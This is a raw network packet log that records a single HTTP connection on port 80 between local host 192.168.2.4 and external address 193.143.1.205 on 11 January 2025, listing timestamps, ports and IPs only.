Jan 11, 2025 03:34:19.921092987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.921129942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.921159983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.921210051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.958693027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.958726883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.958767891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.958805084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.958838940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.958893061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.958925962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.958961010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.959011078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.959043980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.959048033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.959048033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.959048033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.959048033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.959078074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.959100008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.987543106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.987703085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.987704992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.987734079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.987783909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.987786055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.987821102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.987869024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.987875938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.987910032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.987945080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.987957001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.987977982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.988025904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.995774984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.995851040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.995881081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.995912075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.995913982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.995975971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.995990992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.996042967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.996077061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.996098995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.996216059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.996248960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.996270895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:19.996283054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.996319056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:19.996336937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.007662058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.007714033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.025108099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.025140047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.025151014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.025162935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.025193930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.025206089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.025274038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.025285006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.025295973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.025412083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.025412083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.025412083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.025429010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.025440931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.025490046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.025552988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.025563955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.025607109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.025656939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.025706053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.025716066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.025744915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.025852919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.025863886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.025873899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.025885105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.025914907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.025948048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.026034117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.026073933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.026098013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.026109934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.026150942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.026238918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.026251078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.026262045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.026273012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.026290894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.026309967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.026453018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.026463032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.026514053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.026556969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.026567936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.026578903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.026588917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.026598930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.026609898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.026611090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.026619911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.026644945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.027029991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.027041912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.027053118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.027062893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.027072906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.027107000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.027261019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.027271986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.027282000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.027293921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.027301073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.027306080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.027357101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.027508974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.027518988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.027529955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.027542114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.027553082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.027584076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.027594090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.027595043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.027605057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.027616024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.027626038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.027632952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.027637005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.027666092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.027682066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.028089046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.028101921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.028134108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.030004025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.030049086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.030060053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.030091047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.030122995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.030136108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.030170918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.030214071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.030260086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.030292988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.030306101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.030317068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.030354023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.030397892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.030437946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.030520916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.030531883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.030543089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.030554056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.030564070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.030572891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.030574083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.030584097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.030594110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.030638933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.030792952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.030803919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.030814886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.030822992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.030833006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.030862093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.031034946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.031045914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.031055927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.031066895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.031076908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.031111002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.031193972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.031204939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.031220913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.031236887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.031270027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.032381058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.045285940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.045314074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.045322895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.045345068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.045397043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.045545101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.045556068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.045567989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.045578003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.045588017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.045610905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.045635939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.045747042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.045758963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.045787096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.045823097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.045835018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.045845985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.045856953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.045861959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.045867920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.045886040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.045914888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.047482967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.047498941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.074520111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.074534893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.074546099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.074609041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.074611902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.074620008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.074630976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.074687958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.074726105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.082973957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.083009958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.083020926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.083035946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.083065987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.083270073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.083281994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.083293915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.083303928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.083322048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.083339930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.111833096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.111979008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.111989021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.111999989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.112011909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.112023115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.112032890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.112044096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.112092018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.112166882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.112178087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.112210035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.112240076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.112251043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.112257004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.112262011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.112303972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.112442017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.112453938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.112463951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.112483978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.112518072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.112591028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.112601042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.112610102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.112621069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.112631083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.112638950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.112663984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.112812996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.112823009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.112833023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.112842083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.112852097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.112901926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.112901926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.113111019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.113121033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.113132000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.113142967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.113153934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.113163948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.113174915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.113174915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.113185883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.113198996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.113217115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.113243103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.113651037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.113661051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.113671064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.113682985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.113692999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.113697052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.113706112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.113714933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.113723040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.113729954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.113746881 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.113779068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.113883972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.113925934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.114000082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.114012003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.114022970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.114033937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.114044905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.114054918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.114057064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.114067078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.114078045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.114089012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.114108086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.114135027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.114687920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.114700079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.114710093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.114721060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.114731073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.114732027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.114742041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.114753008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.114761114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.114763021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.114773989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.114785910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.114795923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.114806890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.114810944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.114819050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.114830017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.114840984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.114850998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.114850998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.114871979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.114888906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.115499020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.115510941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.115521908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.115534067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.115545988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.115566015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.118299007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.119821072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.119857073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.119863033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.119867086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.119903088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.120004892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.120016098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.120027065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.120038033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.120060921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.120083094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.120084047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.120098114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:34:20.120141983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:34:20.120151997 CET	80	49730	193.143.1.205	192.168.2.4
